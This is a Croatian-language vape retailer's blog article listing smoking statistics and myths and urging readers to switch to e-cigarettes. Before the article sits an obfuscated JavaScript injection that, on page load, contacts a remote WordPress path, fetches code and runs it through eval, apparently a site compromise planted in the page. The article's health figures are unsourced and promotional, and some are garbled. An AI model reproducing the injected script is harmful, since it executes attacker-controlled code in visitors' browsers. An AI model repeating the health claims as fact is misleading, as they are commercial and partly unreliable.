;if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//vaper-pub.com/wp-admin/wp-admin.php","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}}

Zanimljive činjenice o pušenju cigareta koje vam mogu pomoći da se prebacite na vape

Svi znamo da je pušenje štetno i nije potrebno dodatno naglašavati da bi svaki pušač trebao prestati s cigaretama čim prije. Ipak, evo nekoliko zanimljivih činjenica koje možda niste znali i par mitova o cigaretama koje ćemo pokušati razbiti u nadi da će vas to možda ohrabriti da odaberete sigurniju alternativu – elektronske cigarete.

Za početak nekoliko brojki

U SAD-u:

  • 480.000 — broj ljudi koji svake godine umiru od bolesti povezanih s pušenjem
  • 1000 — broj ljudi koji podlegnu pasivnom pušenju svake godine
  • 1300 — broj ljudi koji umiru svaki dan zbog pušenja

A Svjetska zdravstvena organizacija izvještava o ovim brojevima na globalnoj razini:

– 7 milijuna ljudi diljem svijeta podlegne izravnoj upotrebi duhana

– 890.000 ljudi umre od izloženosti pasivnom pušenju svake godine

Ove brojke predstavljaju posljedice pušenja na ljude. Svi su ti smrtni slučajevi izravno povezani s duhanom jer jedna cigareta sadrži:

  • 600 sastojaka
  • 7000 kemikalija
  • 69 od ovih kemikalija su poznati karcinogeni

Činjenice o pušenju koje većina ljudi ne zna

  • Potrebno je manje od minute da nikotin uđe u krvotok
  • Ovisnost o nikotinu počinje tek nekoliko dana nakon završetka cigarete
  • Redovito izlaganje nikotinu preusmjerava centre za nagrađivanje u mozgu, stvarajući ovisnost
  • Ovisnost o cigaretama nije slučajna. Nikotin se prirodno nalazi u listovima duhana. U duhanu već postoje mnoge opasne kemikalije koje predstavljaju prijetnju ljudskom zdravlju poput nikla i kadmija.
  • Spaljivanje čak i neobrađenog ili “prirodnog” duhana za motanje nije sigurnije niti manje opasno od pušenja proizvedene cigarete. Ipak, unatoč jakoj ovisnosti o cigaretama, duhanske tvrtke stvaraju ih tako da izazivaju još veću ovisnost.

Duhanske tvrtke:

  • Dodaju amonijak duhanu kako biste još brže apsorbirali nikotin
  • Uključuju šećere i druge arome kako bi promijenili okus i oštrinu duhana, ti aditivi postaju kancerogeni kada se spale
  • Miješaju kemikalije zvane bronhodilatatori u duhan kako bi olakšali apsorpciju opasnih kemikalija u pluća
  • Ne samo da duhanske tvrtke stvaraju što je čim veću ovisnost o svom proizvodu, već troše milijarde na oglašavanje.

Mitovi o pušenju

Mit #1: Cigarete s filterom su sigurnije.

Istina: Filtrirane cigarete ne čine pušenje sigurnijim. Duhanske tvrtke počele su dodavati filtere cigaretama 1950-ih. Bila je to mjera da se cigarete učine “sigurnijima” smanjenjem razine katrana i nikotina. Samo zato što su pušači vjerovali da su te cigarete s filterom sigurnije, pušili su ih više, što je samo povećalo opasnost za njihovo zdravlje i nadoknadilo svaku zaštitu koju nudi filter.

Mit #2: Pušenje je opasno samo za stare ljude koji puše.

Istina: Pušenje je opasnije za mlade nego za stariju populaciju. Započinjanje navike pušenja rano u životu povećava rizik od razvoja koronarne bolesti srca, raka i bolesti pluća. S druge strane, prestanak pušenja prije 40. godine smanjuje šanse za umiranje od bolesti povezanih s pušenjem za 90%.

Mit #3: Samo stari ljudi umiru od bolesti povezanih s pušenjem.

Istina: Istraživanje provedeno u Nizozemskoj pokazalo je da 23% teških pušača nikada ne navrši 65 godina. Laki pušači (ljudi koji povremeno puše) imaju 11% šanse da umru prije 65. godine, dok samo 7% nepušača to čini ne stiže do te dobi.

Mit #4: Pušenje samo povremeno ne škodi.

Istina: Ne postoji sigurna količina pušenja. Svaka popušena cigareta oštećuje srce, živčani sustav i druge vitalne organe u tijelu. Istraživanja su pokazala da čak i pušenje nekoliko cigareta tjedno može dovesti do srčanih bolesti.

Mit #5: Pasivno pušenje nije opasno.

Istina: Pasivno pušenje je stvarno i opasno. Tisuće umiru od bolesti povezanih s pasivnim pušenjem svake godine. Ne postoji dopuštena razina izloženosti dimu ili pasivnom pušenju.

Choose your Reaction!
Leave a Comment